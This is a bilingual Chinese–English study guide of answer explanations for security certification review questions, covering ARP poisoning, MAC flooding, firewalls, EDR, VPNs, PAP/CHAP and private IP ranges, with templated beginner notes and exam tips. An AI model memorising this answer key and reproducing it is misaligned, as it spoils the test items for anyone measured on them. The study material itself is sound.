蜂窝服务,例如4G和5G,会引发诸多安全和运营方面的担忧。 尽管蜂窝服务在设备与基站之间是加密的,但仍存在被虚假或 rogue 基站欺 骗的风险。 一个 rogue 基站可能仅提供明文连接,但即使它支持加密交易, 加密也仅适用于设备与基站之间的无线传输。 一旦通信到达基站,就会被解 密,从而允许窃听和内容篡改。 即使没有 rogue 基站,除非在詹姆斯的远程 移动设备与他所在组织的网络之间建立VPN连接,否则在整个蜂窝运营商的 内部网络以及互联网上都可能发生窃听。 根据詹姆斯旅行的具体地点,建立 连接可能不可靠。 4G和5G覆盖并非在所有地方都100%可用。 每个5G基站覆 盖的区域比4G基站更小。 如果詹姆斯能够建立连接,4G和5G的速度应足以 满足大多数远程技术人员的活动需求,因为4G支持移动设备最高100 Mbps,而5G最高支持10 Gbps。 如果建立了连接,与云的交互或双向对话 应无任何问题。 10. B. 内容分发网络(CDN)或内容交付网络,是由部署在全球众多数据中 心的资源服务主机组成的集合,旨在提供低延迟、高性能和高可用性的托管内 容。

VPN 通过封装(即隧道技术)、身份验证和加密,在中介介质上传输通 信。 软件定义网络(SDN)旨在将网络硬件中的基础设施层与控制层分离, 以降低管理复杂性。 计数器模式与密码分组链接消息认证码协议(CCMP) (计数器模式/CBC‑MAC 协议)是两种分组密码模式的结合,用于通过分组 算法实现流式传输。 11. D. 正确的陈述是:ARP 毒化可以使用非请求或免费的回复——即本地设备 并未发送 ARP 广播请求的 ARP 回复。 许多系统会接受所有 ARP 回复,无论 谁发起了请求。 其他陈述均为错误。 这些陈述的正确版本应为:(A) MAC 泛洪用于过载交换机的内存,特别是当伪造信息导致交换机内存中的 CAM 表溢出时

小白解释

场景先行:想象公司有一个客户订单系统:客户资料被别人看到是机密性问题,订单金额被偷偷改是完整性问题,系统打不开是可用性问题。教材这一页就是教你把事故先翻译成安全目标。

这一页真正想让你理解的是:可用性关注中断、故障、DoS、备份和冗余。

把它放进公司里看,关键不是背定义,而是判断:把泄露、篡改、宕机混在一起,就会选错控制措施。

你作为负责人可以这样想:先判断事故破坏了 CIA 哪一项,再选择对应控制:防泄露、防篡改、保可用。

本页术语用人话说:

可用性:可用性保证授权用户需要时能及时使用系统和数据。

认证:认证是验证“你是不是你声称的那个人”。

加密:加密把内容变成未授权者看不懂的形式。

ISO:ISO 是国际标准化组织,常见安全管理体系如 ISO 27001/27002。

常见误区:不要把所有安全问题都归成“被黑了”。考试会逼你分清到底是泄露、篡改还是中断。

读完后用一句话复述:如果我是业务系统负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“可用性:需要时能用,且性能可接受”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是业务系统负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

冗余、备份、BCP/DRP、抗 DoS、容量规划都对应可用性。

密码、令牌、生物特征、多因素认证都服务认证。

加密主要保护机密性,也可配合签名、哈希支持完整性和真实性。

ISO 偏标准和管理体系。

远程访问、站点到站点、安全隧道常对应 VPN/IPSec。

排除法提醒:不要把所有安全问题都归成“被黑了”。考试会逼你分清到底是泄露、篡改还是中断。

本页术语拆解
可用性 可用性保证授权用户需要时能及时使用系统和数据。
认证 认证是验证“你是不是你声称的那个人”。
加密 加密把内容变成未授权者看不懂的形式。
ISO ISO 是国际标准化组织,常见安全管理体系如 ISO 27001/27002。
虚拟专用网络 VPN VPN 在不可信网络上建立加密隧道。
身份 身份是主体在系统中的标识。
强制访问控制 MAC MAC 由系统根据标签和级别强制决定访问。
学习单元 115 / PDF P1509

保护机制:分层、隐藏、加密和边界

单一控制不够,安全靠多个机制配合。

教材原文段落

to function only in flooding mode. (B) MAC spoofing is used to falsify the physical address of a system to impersonate that of another authorized device. ARP poisoning associates an IP address with the wrong MAC address. (C) MAC spoofing relies on plaintext Ethernet headers to initially gather valid MAC addresses of legitimate network devices. ICMP crosses routers because it is carried as the payload of an IP packet. 12. D. The most likely cause of the inability to recover files from the SAN in this scenario is deduplication. Deduplication replaces multiple copies of a file with a pointer to one copy.

If the one remaining file is damaged, then all of the linked copies are damaged or inaccessible as well. File encryption could be an issue, but the scenario mentions that groups of people work on projects, and, typically, file encryption is employed by individuals, not by groups. Whole-drive encryption would be more appropriate for group-accessed files as well as for an SAN in general. This issue is not related to what SAN technology is used, such as Fibre Channel. This problem might be solvable by restoring files from a backup, whether real-time or not, but the loss of files is not caused by performing backups. 13. D.

In this scenario, the malware is performing a MAC flooding attack, which causes the switch to get stuck in flooding mode. This has taken advantage of the condition that the switch had weak configuration settings. The switch should have MAC limiting enabled to prevent MAC flooding attacks from being successful. Although Jim was initially fooled by a social engineering email, the question asked about the malware's activity. A MAC flooding attack is limited by network segmentation to the local switch, but the malware took advantage of weak or poor configuration on the switch and was still successful. MAC flooding is blocked by routers from crossing between switched network segments.

The malware did not use ARP queries in its attack. ARP queries can be abused in an ARP poisoning attack, but that was not described in this scenario. 14. B. A switch is an intelligent hub. It is considered to be intelligent because it knows the addresses of the systems connected on each outbound port. Repeaters are used to strengthen the communication signal over a cable segment as well as connect network segments that use the same protocol. A bridge is used to connect two networks together—even networks of different topologies, cabling types, and speeds—to connect network segments that use the same protocol. Routers are used to

中文直译 / 整理

仅在洪水模式下运行。 (B) MAC地址欺骗用于伪造系统的物理地址,以冒 充另一台授权设备。 ARP欺骗将IP地址与错误的MAC地址关联。 (C) MAC地址欺骗依赖于明文以太网报头来初步获取合法网络设备的有效 MAC地址。 ICMP跨越路由器,因为它作为IP数据包的有效载荷传输。 12. D. 在此场景中,无法从 SAN 恢复文件的最可能原因是重复数据删除。 重 复数据删除会将多个文件副本替换为指向单个副本的指针。 如果剩余的唯一文 件受损,则所有链接的副本也会受损或无法访问。 文件加密可能是一个问题, 但场景中提到多个人共同参与项目,而文件加密通常由个人而非团队使用。 对 于团队访问的文件以及 SAN 本身,全盘加密更为合适。 此问题与所使用的 SAN 技术(如光纤通道)无关。 通过恢复备份(无论是实时备份还是非实时 备份)可能解决此问题,但文件丢失并非由执行备份引起。 13. D. 在此场景中,恶意软件正在执行 MAC 泛洪攻击,导致交换机陷入泛洪 模式。 这利用了交换机配置设置薄弱的条件。 交换机应启用 MAC 限制功能, 以防止 MAC 泛洪攻击成功。

尽管吉姆最初被一封社会工程学邮件欺骗,但问 题询问的是恶意软件的活动。 MAC 泛洪攻击受网络分段限制,仅限于本地交 换机,但该恶意软件利用了交换机的弱配置或不当配置,仍取得了成功。 路由 器可阻止 MAC 泛洪攻击跨越交换网络段。 恶意软件在攻击中未使用 ARP 查 询。 ARP 查询可在 ARP 欺骗攻击中被滥用,但本场景中并未描述此类情况。 14. B. 交换机是一种智能集线器。 它被认为是智能的,因为它知道连接在每个 出端口上的系统的地址。 中继器用于增强电缆段上的通信信号,以及连接使用 相同协议的网络段。 网桥用于将两个网络连接在一起——即使网络具有不同的 拓扑结构、布线类型和速度——以连接使用相同协议的网络段。 路由器用于

小白解释

场景先行:新员工入职后要登录系统。第一步是声明身份,第二步证明身份,第三步决定能访问哪些数据,最后系统要记录他做了什么。IAM 题就是围绕这条链条出题。

这一页真正想让你理解的是:单一控制不够,安全靠多个机制配合。

把它放进公司里看,关键不是背定义,而是判断:认证成功不代表什么都能做;离职、调岗、权限漂移都会造成越权。

你作为负责人可以这样想:把识别、认证、授权、审计分开看,再用最小权限和定期复核收口。

本页术语用人话说:

授权:授权是认证之后决定你能访问什么、能做什么。

加密:加密把内容变成未授权者看不懂的形式。

ISO:ISO 是国际标准化组织,常见安全管理体系如 ISO 27001/27002。

强制访问控制 MAC:MAC 由系统根据标签和级别强制决定访问。

常见误区:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

读完后用一句话复述:如果我是IAM 管理员,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“保护机制:分层、隐藏、加密和边界”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是IAM 管理员在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

认证成功不等于什么都能做;权限仍要单独授权。

加密主要保护机密性,也可配合签名、哈希支持完整性和真实性。

ISO 偏标准和管理体系。

政府/军方、机密级别、标签、不可由用户随意改通常是 MAC。

日志要保护完整性、时间同步和访问控制。

排除法提醒:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

本页术语拆解
授权 授权是认证之后决定你能访问什么、能做什么。
加密 加密把内容变成未授权者看不懂的形式。
ISO ISO 是国际标准化组织,常见安全管理体系如 ISO 27001/27002。
强制访问控制 MAC MAC 由系统根据标签和级别强制决定访问。
日志 日志记录系统和用户活动,用于监控、审计和调查。
恶意代码 恶意代码包括病毒、蠕虫、木马、勒索软件等。
学习单元 116 / PDF P1510

认证:证明身份

认证回答“你是不是你声称的那个人”。

教材原文段落

control traffic flow on networks and are often used to connect similar networks and control traffic flow between the two. Routers manage traffic based on logical IP addressing. 15. B. A screened subnet is a type of security zone that can be positioned so that it operates as a buffer network between the secured private network and the Internet and can host publicly accessible services. A honeypot is a false network used to trap intruders; it isn't used to host public services. An extranet is for limited outside partner access, not public. An intranet is the private secured network. 16. B. A Faraday cage is an enclosure that blocks or absorbs electromagnetic fields or signals.

Faraday cage containers, computer cases, rack-mount systems, rooms, or even building materials are used to create a blockage against the transmission of data, information, metadata, or other emanations from computers and other electronics. Devices inside a Faraday cage can use EM fields for communications, such as wireless or Bluetooth, but devices outside of the cage will not be able to eavesdrop on the signals of the systems within the cage. Air gaps do not contain or restrict wireless communications—in fact, for an air gap to be effective, wireless cannot even be available. Biometric authentication has nothing to do with controlling radio signals.

Screen filters reduce shoulder surfing but do not address radio signals. 17. B, E, F. Network access control (NAC) involves controlling access to an environment through strict adherence to and implementation of security policy. The goals of NAC are to detect/block rogue devices, prevent or reduce zero-day attacks, confirm compliance with updates and security settings, enforce security policy throughout the network, and use identities to perform access control. NAC does not address social engineering, mapping IP addresses, or distributing IP addresses—those are handled by training, NAT, and DHCP, respectively. 18. A.

Endpoint detection and response (EDR) is a security mechanism that is an evolution of traditional antimalware products. EDR seeks to detect, record, evaluate, and respond to suspicious activities and events, which may be caused by problematic software or by valid and invalid users. It is a natural extension of continuous monitoring, focusing on both the endpoint device itself and network communications reaching the local interface. Some EDR solutions employ an on-device analysis engine whereas others report events back to a central analysis server or to a

中文直译 / 整理

控制网络上的流量流,并常用于连接相似网络并控制两者之间的流量 流。 路由器基于逻辑IP地址管理流量。 15. B. 筛选子网是一种安全区域,可以部署在受保护的私有网络与互联网之 间,作为缓冲网络,并托管公开可访问的服务。 蜜罐是一个用于诱捕入侵者 的虚假网络,不用于托管公共服务。 外联网用于有限的外部合作伙伴访问, 而非公开访问。 内联网是私有的受保护网络。 16. B. 法拉第笼是一种能够阻挡或吸收电磁场或信号的封闭结构。 法拉第笼 容器、计算机机箱、机架式系统、房间甚至建筑材料均可用于阻止计算机及 其他电子设备传输数据、信息、元数据或其他电磁辐射。 法拉第笼内的设备 可使用电磁场进行通信,例如无线或蓝牙,但笼外的设备无法窃听笼内系统 的信号。 空气隔离不包含或限制无线通信——事实上,要使空气隔离有效, 无线通信甚至不能存在。 生物识别认证与控制无线电波信号无关。 屏幕滤光 片可减少窥视攻击,但无法解决无线电波信号问题。 17. B、E、F。 网络访问控制(NAC)通过严格遵守和实施安全策略来控制对 环境的访问。

NAC的目标是检测/阻止未经授权的设备、防止或减少零日攻击、 确认是否符合更新和安全设置、在整个网络中强制执行安全策略,并使用身 份执行访问控制。 NAC不涉及社会工程学、IP地址映射或IP地址分配——这 些分别由培训、NAT和DHCP处理。 18. A。 端点检测与响应(EDR)是一种安全机制,是传统反恶意软件产品的 演进。 EDR旨在检测、记录、评估和响应可疑活动和事件,这些活动和事件 可能由有问题的软件或有效/无效用户引起。 它是持续监控的自然延伸,重点 关注端点设备本身以及到达本地接口的网络通信。 一些EDR解决方案采用设 备端分析引擎,而其他解决方案则将事件报告回中央分析服务器或到

小白解释

场景先行:新员工入职后要登录系统。第一步是声明身份,第二步证明身份,第三步决定能访问哪些数据,最后系统要记录他做了什么。IAM 题就是围绕这条链条出题。

这一页真正想让你理解的是:认证回答“你是不是你声称的那个人”。

把它放进公司里看,关键不是背定义,而是判断:认证成功不代表什么都能做;离职、调岗、权限漂移都会造成越权。

你作为负责人可以这样想:把识别、认证、授权、审计分开看,再用最小权限和定期复核收口。

本页术语用人话说:

认证:认证是验证“你是不是你声称的那个人”。

授权:授权是认证之后决定你能访问什么、能做什么。

政策:政策是高层原则,说明必须遵守什么。

OSI 模型:OSI 用七层结构理解网络通信,从物理层到应用层。

常见误区:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

读完后用一句话复述:如果我是IAM 管理员,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“认证:证明身份”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是IAM 管理员在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

密码、令牌、生物特征、多因素认证都服务认证。

认证成功不等于什么都能做;权限仍要单独授权。

Policy 高层、强制、稳定;Procedure 具体步骤。

网络题先定位层次,再判断协议、设备或攻击位置。

日志要保护完整性、时间同步和访问控制。

排除法提醒:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

本页术语拆解
认证 认证是验证“你是不是你声称的那个人”。
授权 授权是认证之后决定你能访问什么、能做什么。
政策 政策是高层原则,说明必须遵守什么。
OSI 模型 OSI 用七层结构理解网络通信,从物理层到应用层。
日志 日志记录系统和用户活动,用于监控、审计和调查。
恶意代码 恶意代码包括病毒、蠕虫、木马、勒索软件等。
学习单元 117 / PDF P1511

认证:证明身份

认证回答“你是不是你声称的那个人”。

教材原文段落

cloud solution. The goal of EDR is to detect abuses that are potentially more advanced than what can be detected by traditional antivirus or HIDSs, while optimizing the response time of incident response, discarding false positives, implementing blocking for advanced threats, and protecting against multiple threats occurring simultaneously and via various threat vectors. A next-generation firewall (NGFW) is a unified threat management (UTM) device that is based on a traditional firewall with numerous other integrated network and security services and is thus not the security solution needed in this scenario.

A web application firewall (WAF) is an appliance, server add-on, virtual service, or system filter that defines a strict set of communication rules for a website and is not the security solution needed in this scenario. Cross-site request forgery (XSRF) is an attack against web-based services, not a malware defense. 19. A. An application-level firewall is able to make access control decisions based on the content of communications as well as the parameters of the associated protocol and software. Stateful inspection firewalls make access control decisions based on the content and context of communications, but are not typically limited to a single applicationlayer protocol.

Circuit-level firewalls are able to make permit and deny decisions in regard to circuit establishment either based on simple rules for IP and port, using captive portals, requiring port authentication via 802.1X, or more complex elements such as contextor attribute-based access control. Static packet-filtering firewalls filter traffic by examining data from a message header. Usually, the rules are concerned with source and destination IP address (Layer 3) and port numbers (Layer 4). 20. A, C, D. Most appliance (i.e., hardware) firewalls offer extensive logging, auditing, and monitoring capabilities as well as alarms/alerts and even basic IDS functions.

It is also true that firewalls are unable to prevent internal attacks that do not cross the firewall. Firewalls are unable to block new phishing scams. Firewalls could block a phishing scam's URL if it was already on a block list, but a new scam likely uses a new URL that is not yet known to be malicious.

中文直译 / 整理

云解决方案。 EDR的目标是检测可能比传统防病毒软件或HIDS更高级的 滥用行为,同时优化事件响应的响应时间,剔除误报,实施对高级威胁的 阻断,并保护系统免受多种同时发生且通过不同攻击向量的威胁。 下一代 防火墙(NGFW)是一种基于传统防火墙并集成了众多其他网络和安全服 务的统一威胁管理(UTM)设备,因此并非本场景所需的安防解决方案。 Web应用防火墙(WAF)是一种设备、服务器插件、虚拟服务或系统过 滤器,它为网站定义了一组严格的通信规则,也不是本场景所需的安防解 决方案。 跨站请求伪造(XSRF)是对基于Web的服务的攻击,而非恶意 软件防御手段。 19. A. 应用层防火墙能够根据通信内容以及相关协议和软件的参数做出访问控 制决策。 状态检测防火墙根据通信的内容和上下文做出访问控制决策,但通常 不限于单一的应用层协议。 电路级防火墙能够基于简单规则(如IP和端口)、 使用捕获门户、通过802.1X进行端口认证,或更复杂的元素(如基于上下文或 属性的访问控制)来决定是否允许或拒绝电路建立。 静态包过滤防火墙通过检 查消息头中的数据来过滤流量。 通常,规则涉及源和目标IP地址(第3层)和 端口号(第4层)。

20. A、C、D。 大多数设备(即硬件)防火墙提供广泛的日志记录、审计和 监控功能,以及警报/通知,甚至基本的入侵检测系统(IDS)功能。 同样正 确的是,防火墙无法阻止不经过防火墙的内部攻击。 防火墙无法阻止新的网 络钓鱼骗局。 如果某个网络钓鱼骗局的URL已在阻止列表中,防火墙可以阻 止它,但新的骗局很可能使用的是尚未被识别为恶意的新URL。

小白解释

场景先行:新员工入职后要登录系统。第一步是声明身份,第二步证明身份,第三步决定能访问哪些数据,最后系统要记录他做了什么。IAM 题就是围绕这条链条出题。

这一页真正想让你理解的是:认证回答“你是不是你声称的那个人”。

把它放进公司里看,关键不是背定义,而是判断:认证成功不代表什么都能做;离职、调岗、权限漂移都会造成越权。

你作为负责人可以这样想:把识别、认证、授权、审计分开看,再用最小权限和定期复核收口。

本页术语用人话说:

认证:认证是验证“你是不是你声称的那个人”。

审计:审计记录主体行为,用于追责、复盘和取证。

OSI 模型:OSI 用七层结构理解网络通信,从物理层到应用层。

防火墙:防火墙根据规则控制网络流量进出。

常见误区:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

读完后用一句话复述:如果我是IAM 管理员,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“认证:证明身份”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是IAM 管理员在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

密码、令牌、生物特征、多因素认证都服务认证。

没有日志和身份绑定,就很难问责。

网络题先定位层次,再判断协议、设备或攻击位置。

防火墙不是万能;它常与 IDS/IPS、分段、日志一起使用。

检测是 IDS,主动阻断更像 IPS。

排除法提醒:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

本页术语拆解
认证 认证是验证“你是不是你声称的那个人”。
审计 审计记录主体行为,用于追责、复盘和取证。
OSI 模型 OSI 用七层结构理解网络通信,从物理层到应用层。
防火墙 防火墙根据规则控制网络流量进出。
入侵检测系统 IDS IDS 负责发现可疑行为并告警,一般不直接阻断。
审计 审计检查控制是否存在、是否有效、是否符合要求。
日志 日志记录系统和用户活动,用于监控、审计和调查。
事件响应 事件响应是发现、遏制、根除、恢复并复盘安全事件的过程。
学习单元 118 / PDF P1512

认证:证明身份

认证回答“你是不是你声称的那个人”。

教材原文段落

Chapter 12: Secure Communications and Network Attacks 1. B. When transparency is a characteristic of a service, security control, or access mechanism, it is unseen by users. Invisibility is not the proper term for a security control that goes unnoticed by valid users. Invisibility is sometimes used to describe a feature of a rootkit, which attempts to hide itself and other files or processes. Diversion is a feature of a honeypot but not of a typical security control. Hiding in plain sight is not a security concept; it is a mistake on the part of the observer not to notice something that they should notice.

This is not the same concept as camouflage, which is when an object or subject attempts to blend into the surroundings. 2. A, C, D, E, G, I, J, K. More than 40 EAP methods have been defined, including LEAP, PEAP, EAP-SIM, EAP-FAST, EAP-MD5, EAP-POTP, EAP-TLS, and EAP-TTLS. The other options are not valid EAP methods. 3. B. Changing default passwords on PBX systems provides the most effective increase in security. PBX systems typically do not support encryption, although some VoIP PBX systems may support encryption in specific conditions. PBX transmission logs may provide a record of fraud and abuse, but they are not a preventive measure to stop it from happening.

Taping and archiving all conversations is also a detection measure rather than a preventive one against fraud and abuse. 4. C. Malicious attackers known as phreakers abuse phone systems in much the same way that attackers abuse computer networks. In this scenario, they were most likely focused on the PBX. Private branch exchange (PBX) is a telephone switching or exchange system deployed in private organizations in order to enable multistation use of a small number of external PSTN lines. Phreakers generally do not focus on accounting (that would be an invoice scam), NAT (that would be a network intrusion attack), or Wi-Fi (another type of network intrusion attack). 5. A, B, D.

It is important to verify that multimedia collaboration connections are encrypted, that robust multifactor authentication is in use, and that tracking and logging of events and activities is available for the hosting organization to review. Customization of avatars and filters is not a security concern.

中文直译 / 整理

第12章:安全通信与网络攻击 1. B。 当透明性是服务、安全控制或访问机制的特性时,用户无法察觉。 不 可见性并非用于描述对合法用户而言未被注意到的安全控制的正确术语。 不 可见性有时用于描述rootkit的特性,该特性试图隐藏自身以及其他文件或进 程。 诱骗是蜜罐的特性,而非典型安全控制的特性。 隐蔽在显眼之处并非安 全概念; 这是观察者未能注意到本应注意到的事物的错误。 这与伪装不同, 伪装是指物体或主体试图融入周围环境。 2. A、C、D、E、G、I、J、K。 已定义了40多种EAP方法,包括LEAP、PEAP、 EAP‑SIM、EAP‑FAST、EAP‑MD5、EAP‑POTP、EAP‑TLS和EAP‑TTLS。 其他 选项均不是有效的EAP方法。 3. B. 更改 PBX 系统的默认密码能最有效地提升安全性。 PBX 系统通常不支 持加密,尽管某些 VoIP PBX 系统在特定条件下可能支持加密。 PBX 传输日 志可能记录欺诈和滥用行为,但它们并非预防此类行为发生的措施。 录音并 归档所有通话也是一种检测措施,而非预防欺诈和滥用的措施。

4. C. 被称为音频破解者的恶意攻击者以与攻击计算机网络类似的方式滥用电 话系统。 在此场景中,他们最有可能针对的是 PBX。 专用交换机(PBX)是 一种部署在私人组织中的电话交换系统,旨在使多个站点能够共享少量外部 PSTN 线路。 音频破解者通常不关注计费(那将是发票欺诈)、NAT(那将 是网络入侵攻击)或 Wi‑Fi(另一种网络入侵攻击)。 5. A、B、D。 必须验证多媒体协作连接已加密,已使用强大的多因素身份验 证,并且托管组织可审查事件和活动的跟踪与日志记录。 自定义头像和滤镜 不属于安全问题。

小白解释

场景先行:新员工入职后要登录系统。第一步是声明身份,第二步证明身份,第三步决定能访问哪些数据,最后系统要记录他做了什么。IAM 题就是围绕这条链条出题。

这一页真正想让你理解的是:认证回答“你是不是你声称的那个人”。

把它放进公司里看,关键不是背定义,而是判断:认证成功不代表什么都能做;离职、调岗、权限漂移都会造成越权。

你作为负责人可以这样想:把识别、认证、授权、审计分开看,再用最小权限和定期复核收口。

本页术语用人话说:

认证:认证是验证“你是不是你声称的那个人”。

加密:加密把内容变成未授权者看不懂的形式。

身份:身份是主体在系统中的标识。

日志:日志记录系统和用户活动,用于监控、审计和调查。

常见误区:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

读完后用一句话复述:如果我是IAM 管理员,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“认证:证明身份”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是IAM 管理员在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

密码、令牌、生物特征、多因素认证都服务认证。

加密主要保护机密性,也可配合签名、哈希支持完整性和真实性。

身份管理题要区分识别、认证、授权、审计。

日志要保护完整性、时间同步和访问控制。

排除法提醒:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

本页术语拆解
认证 认证是验证“你是不是你声称的那个人”。
加密 加密把内容变成未授权者看不懂的形式。
身份 身份是主体在系统中的标识。
日志 日志记录系统和用户活动,用于监控、审计和调查。
学习单元 119 / PDF P1513

认证:证明身份

认证回答“你是不是你声称的那个人”。

教材原文段落

6. D. The issue in this scenario is that a private IP address from RFC 1918 is assigned to the web server. RFC 1918 addresses are not internet routable or accessible because they are reserved for private or internal use only. So, even with the domain name linked to the address, any attempt to access it from an internet location will fail. Local access via jumpbox or LAN system likely uses an address in the same private IP address range and has no issues locally. The issue of the scenario (i.e., being unable to access a website using its FQDN) could be resolved by either using a public IP address or implementing static NAT on the screened subnet's boundary firewall.

The jumpbox would not prevent access to the website regardless of whether it was rebooted, in active use, or turned off. That would only affect Michael's use of it from his desktop workstation. SplitDNS does support internet-based domain name resolution; it separates internal-only domain information from external domain information. A web browser should be compatible with the coding of most websites. Since there was no mention of custom coding and the site was intended for public use, it is probably using standard web technologies. Also, since Michael's workstation and several worker desktops could access the website, the problem is probably not related to the browser. 7. A.

Password Authentication Protocol (PAP) is a standardized authentication protocol for PPP. PAP transmits usernames and passwords in the clear. It offers no form of encryption. It provides a means to transport the logon credentials from the client to the authentication server. CHAP protects the password by never sending it across the network; it is used in computing a response along with a random challenge number issued by the server. EAP offers some means of authentication that protects and/or encrypts credentials, but not all of the options do. RADIUS supports a range of options to protect and encrypt logon credentials. 8. A, C, D, F, G, H, and J.

Network quality of service (QoS) depends on numerous factors, including bandwidth, latency, jitter, packet loss, interference, throughput, and signal-to-noise ratio. System uptime, application layer protocol, and OS versions are unlikely to be relevant related to network QoS investigations. 9. A, C, D. The addresses in RFC 1918 are 10.0.0.0–10.255.255.255, 172.16.0.0–172.31.255.255, and 192.168.0.0–192.168.255.255. Therefore, 10.0.0.18, 172.31.8.204, and 192.168.6.43 are private IPv4 addresses. The 169.254.x.x subnet is in the APIPA range, which is not part of RFC 1918. 6. D.

中文直译 / 整理

本场景中的问题是,为Web服务器分配了一个来自RFC 1918的私有I P地址。 RFC 1918地址无法在互联网上路由或访问,因为它们仅保留用于私 有或内部用途。 因此,即使域名已链接到该地址,从互联网位置尝试访问它 也会失败。 通过跳板机或局域网系统进行本地访问可能使用的是同一私有I P地址范围内的地址,因此在本地没有问题。 本场景的问题(即无法使用 FQDN访问网站)可以通过使用公有IP地址或在隔离子网的边界防火墙上实 施静态NAT来解决。 无论跳板机是否重启、是否正在使用或是否关闭,都不 会影响对网站的访问; 这仅会影响Michael从其桌面工作站使用跳板机。 Split‑DNS支持基于互联网的域名解析; 它将仅限内部的域名信息与外部域 名信息分开。 A 网页浏览器应能兼容大多数网站的代码。 由于未提及自定义代码,且该网 站旨在供公众使用,因此很可能使用的是标准网页技术。 此外,由于迈克 尔的工作站和多个工作人员的台式机都能访问该网站,问题很可能与浏览 器无关。 7. A. 密码认证协议(PAP)是PPP的标准化认证协议。 PAP以明文形式传 输用户名和密码。 它不提供任何形式的加密。

它提供了将登录凭证从客户端 传输到认证服务器的手段。 CHAP通过从不通过网络发送密码来保护密码; 它用于结合服务器发出的随机挑战号计算响应。 EAP提供了一些保护和/或 加密凭证的认证方式,但并非所有选项都具备此功能。 RADIUS支持多种选 项来保护和加密登录凭证。 8. A、C、D、F、G、H 和 J。 网络服务质量(QoS)取决于众多因素, 包括带宽、延迟、抖动、丢包率、干扰、吞吐量和信噪比。 系统正常运行 时间、应用层协议和操作系统版本不太可能与网络QoS调查相关。 9. A、C、D。 RFC 1918 中的地址为 10.0.0.0–10.255.255.255、172.16.0.0– 172.31.255.255 和 192.168.0.0–192.168.255.255。 因此,10.0.0.18、172.31.8.204 和 192.168.6.43 是私有 IPv4 地址。 169.254.x.x 子网属于 APIPA 范围,不属于 RFC 1918。

小白解释

场景先行:新员工入职后要登录系统。第一步是声明身份,第二步证明身份,第三步决定能访问哪些数据,最后系统要记录他做了什么。IAM 题就是围绕这条链条出题。

这一页真正想让你理解的是:认证回答“你是不是你声称的那个人”。

把它放进公司里看,关键不是背定义,而是判断:认证成功不代表什么都能做;离职、调岗、权限漂移都会造成越权。

你作为负责人可以这样想:把识别、认证、授权、审计分开看,再用最小权限和定期复核收口。

本页术语用人话说:

认证:认证是验证“你是不是你声称的那个人”。

加密:加密把内容变成未授权者看不懂的形式。

标准:标准给出必须满足的最低要求。

防火墙:防火墙根据规则控制网络流量进出。

常见误区:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

读完后用一句话复述:如果我是IAM 管理员,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“认证:证明身份”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是IAM 管理员在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

密码、令牌、生物特征、多因素认证都服务认证。

加密主要保护机密性,也可配合签名、哈希支持完整性和真实性。

Minimum level、mandatory requirement 常对应 standard。

防火墙不是万能;它常与 IDS/IPS、分段、日志一起使用。

日志要保护完整性、时间同步和访问控制。

排除法提醒:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

本页术语拆解
认证 认证是验证“你是不是你声称的那个人”。
加密 加密把内容变成未授权者看不懂的形式。
标准 标准给出必须满足的最低要求。
防火墙 防火墙根据规则控制网络流量进出。
日志 日志记录系统和用户活动,用于监控、审计和调查。
学习单元 120 / PDF P1514

可用性:需要时能用,且性能可接受

可用性关注中断、故障、DoS、备份和冗余。

教材原文段落

10. D. An intermediary network connection is required for a VPN link to be established. A VPN can be established between devices over the Internet, between devices over a LAN, or between a system on the Internet and a LAN. 11. B. A switch is a networking device that can be used to create digital virtual network segments (i.e., VLANs) that can be altered as needed by adjusting the settings internal to the device. A router connects disparate networks (i.e., subnets) rather than creating network segments. Subnets are created by IP address and subnet mask assignment.

Proxy and firewall devices do not create digital virtual network segments, but they may be positioned between network segments to control and manage traffic. 12. B. VLANs do not impose encryption on data or traffic. Encrypted traffic can occur within a VLAN, but encryption is not imposed by the VLAN. VLANs do provide traffic isolation, traffic management and control, and a reduced vulnerability to sniffers. 13. B, C, D. Port security can refer to several concepts, including network access control (NAC), Transport Layer ports, and RJ-45 jack ports. NAC requires authentication before devices can communicate on the network.

